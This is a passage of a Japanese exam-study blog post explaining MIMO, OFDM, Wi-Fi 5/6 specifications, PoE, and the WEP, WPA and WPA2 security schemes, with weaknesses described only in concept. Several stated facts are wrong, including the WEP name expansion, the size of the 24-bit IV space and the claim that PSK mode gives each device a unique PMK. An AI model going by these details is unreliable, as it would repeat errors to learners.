<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>比較項目</strong></td><td><strong>SISO（Single Input Single Output）</strong></td><td><strong>MIMO（Multiple Input Multiple Output）</strong></td></tr></thead><tbody><tr><td><strong>アンテナ数</strong></td><td>送信1本 ＋ 受信1本</td><td>送信複数 ＋ 受信複数（例：4本×4本 など）</td></tr><tr><td><strong>データの扱い</strong></td><td>1つの同じデータを送信する</td><td>アンテナごとに<strong>異なるデータ</strong>を同時に送信する（空間多重）</td></tr><tr><td><strong>マルチパスの処理</strong></td><td>届いた波形の乱れ（歪み）を補正するだけ（等化・イコライザ）</td><td>乱れた波形を補正すると同時に、混ざり合った**別々のデータを計算で分離（切り分け）**する</td></tr><tr><td><strong>位置づけ</strong></td><td>従来の基本的な通信方式</td><td>SISOの補正技術をベースにしつつ、計算による分離を加えて高速化を実現した発展形</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>▼MIMOのメリット・役割</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>効果・メリット</strong></td></tr></thead><tbody><tr><td><strong>通信速度（スループット）の向上</strong></td><td>アンテナの数（ストリーム数）に比例して、同時に送れるデータ量が増えるため、理論上の最大通信速度が爆発的に向上する。</td></tr><tr><td><strong>電波資源の有効活用</strong></td><td>周波数（チャンネル）を余分に増やさず、同じ電波の帯域のままで効率よく大容量通信を実現できる。</td></tr><tr><td><strong>マルチパスの逆利用</strong></td><td>昔は通信のジャマモノだった障害物による反射（マルチパス）を、MIMOでは「電波の混ざり方にバラエティを持たせるための必須の味方」として活用する。</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc15">Q.OFDMって何？</span></h3>



<p class="wp-block-paragraph">OFDMとは、サブキャリアと呼ばれる細い周波数の&#8221;道&#8221;を複数作ることで、一度に複数の道を使ってデータを同時に送れるようにする技術。これは、1つの周波数帯(チャネル)を、内部でさらに細かく分割することによって実現している。ここで当然、「細切れにしたら、隣同士で干渉が起きるのではないか」という疑問が出てくる。実際、2.4GHz帯や5GHz帯において、チャネル同士(例えば5GHz帯の36, 40, 44, 48など)を20MHzずつ間隔を空けて使っているのは、まさにこの干渉を避けるため。しかしOFDMでは、サブキャリア同士の周波数間隔を、数学的に精密に計算し、信号を読み取るタイミングを工夫することで、隣接するサブキャリア同士が&#8221;打ち消し合う&#8221;ように設計されている。これにより、干渉を実質的にゼロに抑えながら、隙間なく効率よく周波数を敷き詰めて使うことができる。では、この技術を異なるチャネル同士(例えばチャネル36とチャネル40)にも応用できないのか、という疑問も出てくるが、これはできない。理由は、OFDMによる干渉の打ち消し合いが成立するのは、あくまで&#8221;1つのチャネルの中で、1つのデバイスが単独で制御している範囲&#8221;に限られるから。異なるチャネルは、通常それぞれ異なるデバイスが個別に制御しており、タイミングなどを精密に協調させる仕組みを持っていない。OFDMの打ち消し合いには、送信側と受信側が事前にぴったり同期した、精密な協調動作が不可欠であるため、こうした協調関係を持たない異なるチャネル同士には適用できない。このような仕組みによって、OFDMは1つのチャネルの中に複数のサブキャリアを効率よく敷き詰め、それぞれで別々のデータを同時に送ることを可能にしており、これが通信の高速化に寄与している。</p>



<p class="wp-block-paragraph"><strong>▼OFDMの基本概念と仕組み</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>内容</strong></td></tr></thead><tbody><tr><td><strong>正式名称</strong></td><td>Orthogonal Frequency Division Multiplexing（直交周波数分割多重）</td></tr><tr><td><strong>基本コンセプト</strong></td><td>1つの広い周波数帯（チャネル）を、何百〜何千もの非常に細かい「サブキャリア（副搬送波）」に分割し、それぞれにデータを分散して並行送信する技術。</td></tr><tr><td><strong>動作の範囲</strong></td><td>あくまで「1つのチャネルの内部（主導権を持つ1つのデバイスの制御下）」で動作する技術。異なるチャネル（別の帯域）の間では適用されない。</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>▼「直交性（Orthogonality）」と干渉を防ぐ仕組み</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>内容</strong></td></tr></thead><tbody><tr><td><strong>疑問と解決</strong></td><td>「途中の時間でサブキャリア同士の波が重なるのに、なぜ干渉しないのか？」<br>→一瞬の点ではなく、「決められた時間（シンボル期間）のトータル（積分）」でデータを処理しているため。</td></tr><tr><td><strong>直交性の正体</strong></td><td>途中で波が複雑に重なり合っていても、<strong>期間の最後まで計算（積分）すると、隣のサブキャリアから受けた影響がプラスマイナスゼロで相殺される</strong>ように、数学的な周波数間隔で配置されている。</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>▼OFDMの主なメリット</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>効果・メリット</strong></td></tr></thead><tbody><tr><td><strong>マルチパス（反射）への強い耐性</strong></td><td>帯域を細切れ（ナローバンド化）にしているため、仮に一部のサブキャリアが障害物の反射でダメージを受けても、被害は全体のほんの一部分で済む。</td></tr><tr><td><strong>高速・大容量通信の実現</strong></td><td>細かく分割したサブキャリアの本数分だけデータを同時に分散して載せることができるため、効率よく大容量のデータを高速に転送できる。</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc16">p.14 Q.Wi-Fi5とは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="99" height="47" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-139.png" alt="" class="wp-image-8352"/></figure>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>Wi-Fi 5 の仕様・特徴</strong></td></tr></thead><tbody><tr><td><strong>無線LAN規格</strong></td><td>IEEE 802.11ac</td></tr><tr><td><strong>最大通信速度（理論値）</strong></td><td>最大約 6.9 Gbps （※8ストリーム ＋ 160MHz幅利用時）</td></tr><tr><td><strong>周波数帯</strong></td><td><strong>5GHz帯のみ</strong>（2.4GHz帯は非対応）</td></tr><tr><td><strong>利用チャネル・規制</strong></td><td><strong>W52 / W53 / W56</strong><br>・W53 / W56はレーダー回避のためのDFS（動的周波数選択）が必須<br>・W56のみ屋外利用が可能</td></tr><tr><td><strong>変調方式</strong></td><td><strong>256QAM</strong>（1シンボルあたり <strong>8ビット</strong> を伝送）<br>※Wi-Fi 4の64QAM（6ビット）から高密度化</td></tr><tr><td><strong>チャネルボンディング</strong></td><td><strong>最大 160MHz幅</strong> に対応（20MHzチャネルを最大<strong>8チャネル</strong>束ねる）<br>※Wi-Fi 4は最大40MHz幅（2チャネル）</td></tr><tr><td><strong>空間分割多重（MIMO）</strong></td><td>・<strong>SU-MIMO</strong>（単一端末向け、上り・下り両方対応）<br>・<strong>下りMU-MIMO</strong>（複数端末へ<strong>下り方向のみ</strong>同時に別データを送信可能）</td></tr><tr><td><strong>多重方式</strong></td><td>OFDM（直交周波数分割多重）</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc17">Q.最大通信速度6.9GHzとは？</span></h3>



<p class="wp-block-paragraph">Wi-Fi4の時の最大通信速度は600Mbpsだった。では、Wi-Fi5の6.9Gbpsとはどのように算出されたのか見ていこう！</p>



<p class="wp-block-paragraph"><strong>①<span class="bold-blue">468</span>(サブキャリア、160MHz幅)× <span class="bold-blue">8</span>(ビット/シンボル、256QAM)= 3744 ビット/シンボル</strong><br>　468のサブキャリアは算出したというよりも規格で「サブキャリアは468本まで使える」と規定で決められている</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>チャネル幅</strong></td><td><strong>データ用サブキャリア数</strong></td></tr></thead><tbody><tr><td>20MHz</td><td>52</td></tr><tr><td>40MHz</td><td>108</td></tr><tr><td>80MHz</td><td>234</td></tr><tr><td><span class="bold-blue">160MHz</span></td><td><span class="bold-blue">468（80MHzの2倍）</span></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>②1秒 ÷ 3.6マイクロ秒 = 約277,777回/秒 のシンボルを送れる</strong><br>　　1つのOFDMシンボルの送信間隔(シンボル period)が3.6マイクロ秒と規格で定められています<br><strong>③<span class="bold-blue">3744</span>ビット × 277,777回/秒 ≒ <span class="bold-blue">1,040</span> Mbps(約1.04Gbps)<br></strong>　符号化前のビットレートを計算<br><strong>④<strong><span class="bold-blue">1,040</span> Mbps × 5/6 ≒ <span class="bold-blue">867</span> Mbps</strong><br></strong>　誤り訂正のための冗長ビットが混ざっている分、実際に運べる正味のデータは全体の5/6だけ。<br><strong>⑤<strong><span class="bold-blue">867</span></strong></strong> Mbps × <span class="bold-blue">8</span>(空間ストリーム数)= <span class="bold-blue">6,936</span> Mbps≒ <span class="bold-blue">6.9</span> Gbps<strong><br></strong>　MIMOストリーム数を掛ける。802.11acは理論上、最大8本の空間ストリーム(MIMO)をサポートしている。<br>これが最終的な理論最大値。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Hjson</span><span role="button" tabindex="0" data-code="①468(サブキャリア、160MHz幅)× 8(ビット/シンボル、256QAM)= 3744 ビット/シンボル
②1秒 ÷ 3.6マイクロ秒 = 約277,777回/秒 のシンボルを送れる
③3744ビット × 277,777回/秒 ≒ 1,040 Mbps(約1.04Gbps)
④1,040 Mbps × 5/6 ≒ 867 Mbps
⑤867 Mbps × 8(空間ストリーム数)= 6,936 Mbps≒ 6.9 Gbps" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #E6DB74">①468(サブキャリア、160MHz幅)× 8(ビット/シンボル、256QAM)= 3744 ビット/シンボル</span></span>
<span class="line"><span style="color: #E6DB74">②1秒 ÷ 3.6マイクロ秒 = 約277,777回/秒 のシンボルを送れる</span></span>
<span class="line"><span style="color: #E6DB74">③3744ビット × 277,777回/秒 ≒ 1,040 Mbps(約1.04Gbps)</span></span>
<span class="line"><span style="color: #E6DB74">④1,040 Mbps × 5/6 ≒ 867 Mbps</span></span>
<span class="line"><span style="color: #E6DB74">⑤867 Mbps × 8(空間ストリーム数)= 6,936 Mbps≒ 6.9 Gbps</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc18">p.14 Q.Wi-Fi6とは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="87" height="38" src="https://ascend-beyond.com/wp-content/uploads/2026/09/eb0174eee9eaa5d3672e048d0fcd2293.png" alt="" class="wp-image-8361"/></figure>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>Wi-Fi 6 の仕様・特徴</strong></td></tr></thead><tbody><tr><td><strong>無線LAN規格</strong></td><td>IEEE 802.11ax（別名：High Efficiency Wireless）</td></tr><tr><td><strong>最大通信速度（理論値）</strong></td><td>最大約 9.6 Gbps （※複数ストリーム・160MHz幅利用時）</td></tr><tr><td><strong>周波数帯</strong></td><td><strong>2.4GHz帯 ＆ 5GHz帯</strong> の両方に対応（Wi-Fi 5で失われた2.4GHzが復活）</td></tr><tr><td><strong>変調方式</strong></td><td><strong>1024QAM</strong>（1シンボルあたり <strong>10ビット</strong> を伝送）<br>※Wi-Fi 5の256QAM（8ビット）からさらに高密度化</td></tr><tr><td><strong>チャネルボンディング</strong></td><td>最大 <strong>160MHz幅</strong> に対応（スペック上の最大幅はWi-Fi 5から継続）</td></tr><tr><td><strong>空間分割多重（MU-MIMO）</strong></td><td>・<strong>SU-MIMO</strong>（単一端末向け）<br>・<strong>双方向MU-MIMO</strong>（<strong>上り・下りともに</strong>複数端末へ同時に別データを送受信可能）</td></tr><tr><td><strong>多重方式（革新的な技術）</strong></td><td><strong>OFDMA（直交周波数分割多元接続）</strong><br>・1つのチャネル（サブキャリアの束）を複数のユーザーで同時に分割・共有し、多くの端末が繋がっても遅延しにくくなった。</td></tr><tr><td><strong>混雑・省電力対策</strong></td><td>・<strong>BSS Color（BSSカラー）</strong>：他所のWi-Fi電波と同じチャネルでも、色（番号）のタグで識別して干渉を軽減する。<br>・<strong>TWT（Target Wake Time）</strong>：端末ごとに通信のスケジュールを管理し、通信しない時間をスリープさせてバッテリーを大幅に節約する。</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc19">p.14 Q.PoEとは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="89" height="38" src="https://ascend-beyond.com/wp-content/uploads/2026/09/6ae6e5e1f9ffb814719d1a8eeb17d6e1.png" alt="" class="wp-image-8363"/></figure>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>PoE (IEEE 802.3af)</strong></td><td><strong>PoE+ (IEEE 802.3at)</strong></td><td><strong>PoE++ (IEEE 802.3bt / 4PPoE)</strong></td></tr></thead><tbody><tr><td><strong>IEEE標準規格</strong></td><td>IEEE 802.3af<sup></sup></td><td>IEEE 802.3at<sup></sup></td><td>IEEE 802.3bt<sup></sup></td></tr><tr><td><strong>最大供給電力（PSE側）</strong></td><td><strong>最大 15.4 W</strong><sup></sup></td><td><strong>最大 30.0 W</strong><sup></sup></td><td><strong>最大 60W 〜 90W</strong>（Type 3 / Type 4）<sup></sup></td></tr><tr><td><strong>主な給電方式</strong></td><td>オルタネイトA（ファントム電源：データ線に重ねて送る） / オルタネイトB</td><td>オルタネイトA / オルタネイトB</td><td>4ペアすべて（すべての芯線）を使って大電力を送る</td></tr><tr><td><strong>主な用途・背景</strong></td><td>従来の監視カメラやIP電話など、消費電力の少ない機器。</td><td>パン・チルト機能付きカメラや、初期の無線LANアクセスポイント。</td><td><strong>最新の高性能Wi-Fi 6 / Wi-Fi 7アクセスポイント</strong>、大型PTZカメラなど。</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc20">p.14 Q.WPA2とは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="78" height="35" src="https://ascend-beyond.com/wp-content/uploads/2026/09/cbb1e61a3850512894c256578ac88083.png" alt="" class="wp-image-8366"/></figure>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>WPA2 の仕様・特徴</strong></td></tr></thead><tbody><tr><td><strong>標準規格</strong></td><td>IEEE 802.11i （※Wi-Fi Allianceによる商標名が「WPA2」）</td></tr><tr><td><strong>主な暗号化アルゴリズム</strong></td><td><strong>AES</strong> （Advanced Encryption Standard）<br>※暗号化プロトコルとして <strong>CCMP</strong> を採用（WEPのRC4、WPAのTKIPから劇的に安全性が向上）</td></tr><tr><td><strong>認証モードの分類</strong></td><td><strong>① パーソナルモード（WPA2-PSK）</strong><br>・事前共有鍵（パスワード）を全端末で共通利用する方式。<br><strong>② エンタープライズモード（WPA2-Enterprise）</strong><br>・RADIUSサーバー等と連携し、ユーザー認証（IEEE 802.1X）を行い、<strong>端末ごとに動的な個別暗号化鍵</strong>を生成する方式。</td></tr><tr><td><strong>主な脆弱性とセキュリティリスク</strong></td><td><strong>オフライン辞書攻撃（総当たり攻撃）</strong><br>・パーソナルモード（PSK）の場合、通信開始時の4ウェイハンドシェイク（鍵交換）の情報を傍受されると、攻撃者のオフライン環境でパスワードの総当たり試行が可能になり、弱いパスワードだと解析されるリスクがある。<br>・その他：鍵再利用攻撃（KRACKs）などの脆弱性が発見された歴史もある。</td></tr><tr><td><strong>セキュリティ上の位置づけ</strong></td><td>長年にわたり無線LANの事実上の標準として広く普及したが、パーソナルモードにおけるオフライン辞書攻撃への根本的な対策として、後継規格であるWPA3（SAE認証の導入）へと移行が進んでいる。</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc21">Q.AESとCCMPって何？</span></h3>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Hjson</span><span role="button" tabindex="0" data-code="【暗号化方式の全体像】
 ├── ① 共通鍵暗号方式 (対称暗号)  ──★ここに「AES」が入る！→その中にCCMPが入る
 └── ② 公開鍵暗号方式 (非対称暗号) ──★RSAやECCなどはこちら" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #E6DB74">【暗号化方式の全体像】</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">├── ① 共通鍵暗号方式 (対称暗号)  ──★ここに「AES」が入る！→その中にCCMPが入る</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">└── ② 公開鍵暗号方式 (非対称暗号) ──★RSAやECCなどはこちら</span></span></code></pre></div>



<p class="wp-block-paragraph">AESとは、共通鍵暗号方式に分類される暗号アルゴリズムの1つ。CCMPとは、そのAESという暗号アルゴリズムを、無線(Wi-Fi)通信のパケット形式に合わせてどのように運用するかを定めたプロトコル。</p>



<h3 class="wp-block-heading"><span id="toc22">Q.WEP(Wired Equivalent Protocol)って何？</span></h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>WEP の仕様・特徴</strong></td></tr></thead><tbody><tr><td><strong>正式名称</strong></td><td>WEP （Wired Equivalent Protocol）<br>（※「有線LANと同等のセキュリティを提供する」という意味で名付けられた）</td></tr><tr><td><strong>位置づけ</strong></td><td>無線LAN初期（IEEE 802.11標準制定時）の初代セキュリティプロトコル。現在は完全に破られており使用禁止。</td></tr><tr><td><strong>主な暗号化アルゴリズム</strong></td><td><strong>RC4</strong> （ストリーム暗号）</td></tr><tr><td><strong>鍵の仕組み・運用</strong></td><td><strong>静的な共有鍵（WEPキー）</strong><br>・ルーターと端末に同じパスワードをあらかじめ手動設定。<br>・パケットごとにランダムな <strong>IV（初期化ベクタ：24ビット）</strong> というおまけの数字をくっつけ、「共有鍵 ＋ IV」からパケットごとの暗号鍵を生成して、平文データと <strong>XOR（排他的論理和）</strong> をとって暗号化していた。</td></tr><tr><td><strong>致命的な脆弱性と崩壊の理由</strong></td><td><strong>① IV（初期化ベクタ）が短すぎる（24ビット ＝ 約160万通り）</strong><br>・通信量が多い環境では、同じIVがすぐに重複（使い回し）される。<br><strong>② XORの数学的弱点</strong><br>・同じIVが使われると、暗号文同士のXORをとった際に「データの差分（平文のヒント）」が丸見えになる。<br><strong>③ FMS攻撃などのアルゴリズムの欠陥</strong><br>・特定のパターンのIVを大量に収集・解析されることで、大元の「共有WEPキー」そのものが数分〜数十分で特定されてしまう。</td></tr><tr><td><strong>現在の状況</strong></td><td>構造的な設計ミスと脆弱性のため、現在では安全性が皆無であり、数分で簡単に突破される。規格としても完全に廃止され、使用すべきではない。</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">▼WEPフロー</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Hjson</span><span role="button" tabindex="0" data-code="▼暗号化手順
１．WEPキー（事前共有パスワード）とIVをまぜる
＊IVはパケットごとに変化する
２．２で混ぜた値をRC4という暗号アルゴリズムに入れてデータと同じ長さのキーストリームを生成する
３．キーストリームとデータをXORして暗号文を生成
４．３でできたデータとIV（平文）をセットして空中に飛ばす" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #E6DB74">▼暗号化手順</span></span>
<span class="line"><span style="color: #E6DB74">１．WEPキー（事前共有パスワード）とIVをまぜる</span></span>
<span class="line"><span style="color: #E6DB74">＊IVはパケットごとに変化する</span></span>
<span class="line"><span style="color: #E6DB74">２．２で混ぜた値をRC4という暗号アルゴリズムに入れてデータと同じ長さのキーストリームを生成する</span></span>
<span class="line"><span style="color: #E6DB74">３．キーストリームとデータをXORして暗号文を生成</span></span>
<span class="line"><span style="color: #E6DB74">４．３でできたデータとIV（平文）をセットして空中に飛ばす</span></span></code></pre></div>



<p class="wp-block-paragraph">▼WEPについて</p>



<figure class="wp-block-embed is-type-wp-embed"><div class="wp-block-embed__wrapper">
<a href="https://ascend-beyond.com/study/7825/" title="平成28年（2016年）ネスペ午後Ⅰ　問二　解答解説" class="blogcard-wrap internal-blogcard-wrap a-wrap cf"><div class="blogcard internal-blogcard ib-left cf"><div class="blogcard-label internal-blogcard-label"><span class="fa"></span></div><figure class="blogcard-thumbnail internal-blogcard-thumbnail"><img decoding="async" width="160" height="90" src="https://ascend-beyond.com/wp-content/uploads/2026/07/5d455f0907db0366a578b93e1ac39855-160x90.jpg" class="blogcard-thumb-image internal-blogcard-thumb-image wp-post-image" alt="" srcset="https://ascend-beyond.com/wp-content/uploads/2026/07/5d455f0907db0366a578b93e1ac39855-160x90.jpg 160w, https://ascend-beyond.com/wp-content/uploads/2026/07/5d455f0907db0366a578b93e1ac39855-300x169.jpg 300w, https://ascend-beyond.com/wp-content/uploads/2026/07/5d455f0907db0366a578b93e1ac39855-1024x576.jpg 1024w, https://ascend-beyond.com/wp-content/uploads/2026/07/5d455f0907db0366a578b93e1ac39855-768x432.jpg 768w, https://ascend-beyond.com/wp-content/uploads/2026/07/5d455f0907db0366a578b93e1ac39855-120x68.jpg 120w, https://ascend-beyond.com/wp-content/uploads/2026/07/5d455f0907db0366a578b93e1ac39855-320x180.jpg 320w, https://ascend-beyond.com/wp-content/uploads/2026/07/5d455f0907db0366a578b93e1ac39855.jpg 1200w" sizes="(max-width: 160px) 100vw, 160px" /></figure><div class="blogcard-content internal-blogcard-content"><div class="blogcard-title internal-blogcard-title">平成28年（2016年）ネスペ午後Ⅰ　問二　解答解説</div><div class="blogcard-snippet internal-blogcard-snippet">設問1 ア：AES　イ：事前共有鍵　ウ：SIMカード　エ：APN　オ：NAPT　カ：CONNECTア：AES　　WEPやWAPまではRC4ベースの暗号化を採用していた。しかしこれには脆弱性があるので、WPA2からは、より強固なAESが使わ...</div></div><div class="blogcard-footer internal-blogcard-footer cf"><div class="blogcard-site internal-blogcard-site"><div class="blogcard-favicon internal-blogcard-favicon"><img decoding="async" src="https://www.google.com/s2/favicons?domain=https://ascend-beyond.com" alt="" class="blogcard-favicon-image internal-blogcard-favicon-image" width="16" height="16" /></div><div class="blogcard-domain internal-blogcard-domain">ascend-beyond.com</div></div><div class="blogcard-date internal-blogcard-date"><div class="blogcard-post-date internal-blogcard-post-date">2026.07.15</div></div></div></div></a>
</div></figure>



<h3 class="wp-block-heading"><span id="toc23">Q.WAP(Wi-Fi Protected Access)って何？</span></h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>WPA の仕様・特徴</strong></td></tr></thead><tbody><tr><td><strong>正式名称</strong></td><td><strong>Wi-Fi Protected Access</strong> </td></tr><tr><td><strong>位置づけ</strong></td><td>WEPの致命的な脆弱性を緊急で回避するため、既存の無線LAN機器（ハードウェア）を買い替えさせず、ソフトウェア（ファームウェア）のアップデートだけで急場をしのぐために作られた「過渡期（暫定）の規格」。</td></tr><tr><td><strong>主な暗号化アルゴリズム</strong></td><td><strong>RC4</strong> （※ただし、WEPとは異なり様々な改良が加えられている）</td></tr><tr><td><strong>主な改良点・技術的特徴</strong></td><td><strong>① IV（初期化ベクタ）の拡張（48ビットへ）</strong><br>・WEPの24ビットから、約281兆通りの「48ビット」へと大幅に拡大し、同じIVがすぐに重複する問題を物理的に解消。<br><strong>② TKIP（Temporal Key Integrity Protocol）の導入</strong><br>・パケットごとに暗号鍵が自動で頻繁に切り替わる仕組みを導入。<br><strong>③ MIC（Message Integrity Code）の追加</strong><br>・データの改ざん検知機能（Michael）を無理やり追加し、不正な書き換えをチェック。</td></tr><tr><td><strong>限界・脆弱性</strong></td><td>・古いハードウェアをそのまま使う制約上、暗号化の心臓部（エンジン）に<strong>古い「RC4」をそのまま引きずっていた</strong>。<br>・その後、研究が進むにつれてRC4自体の数学的な脆弱性やTKIPの隙を突く攻撃手法が見つかり、根本的な安全性を確保するには至らなかった。</td></tr><tr><td><strong>現在の状況</strong></td><td>あくまでWPA2が登場するまでの繋ぎ（過渡期）としての役割だったため、現在は安全性が不十分とされ、使用が推奨されない（無効化すべき規格）。</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc24">Q.エンタープライズモードとパーソナルモードの違いは？</span></h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>比較項目</strong></td><td><strong>パーソナルモード (Personal / PSK)</strong></td><td><strong>エンタープライズモード (Enterprise / 802.1X)</strong></td></tr></thead><tbody><tr><td><strong>主な用途・導入先</strong></td><td>家庭、小規模オフィス、一般的な店舗など</td><td>企業、大学、大規模組織など（セキュリティ重視の環境）</td></tr><tr><td><strong>認証の仕組み</strong></td><td><strong>事前共有鍵（PSK / Passphrase）方式</strong><br>・ルーターと端末に「全員共通の合言葉（パスワード）」をあらかじめ手動で設定。</td><td><strong>認証サーバー（RADIUSなど）による個別認証</strong><br>・IEEE 802.1X規格に基づき、ユーザー個人のID/パスワードやデジタル証明書で認証。</td></tr><tr><td><strong>大元の鍵の生成（親キー）</strong></td><td>全員共通のパスワードを元に、それぞれの端末で一意の**PMK（Pairwise Master Key）**を算出。</td><td>EAP認証の成功をキッカケに、認証サーバーとクライアント間で最高位の<strong>MSK（Master Session Key）を導出し、その一部を切り出してPMK</strong>とする。</td></tr><tr><td><strong>4-wayハンドシェイク</strong></td><td><strong>行う</strong><br>（各端末とアクセスポイント間で実行）</td><td><strong>行う</strong><br>（生成された個別PMKをベースに実行）</td></tr><tr><td><strong>通信用暗号鍵（PTK）</strong></td><td>個別のハンドシェイクにより端末ごとに生成。</td><td>個別のハンドシェイクにより端末ごとに生成。</td></tr><tr><td><strong>セキュリティ上の特徴・注意点</strong></td><td>・すべての端末が同じパスワードを共有するため、誰かがパスワードを漏らすと全員の通信が危険に晒される。<br>・オフラインの辞書攻撃に対してやや脆弱。</td><td>・ユーザーごとに独立した個別鍵が動的に生成されるため非常に強固。<br>・仮に1人のアカウントが侵害されても、他のユーザーの通信や大元のシステムは守られる。</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc25">Q.無線通信が使われるまでのフローは？</span></h3>



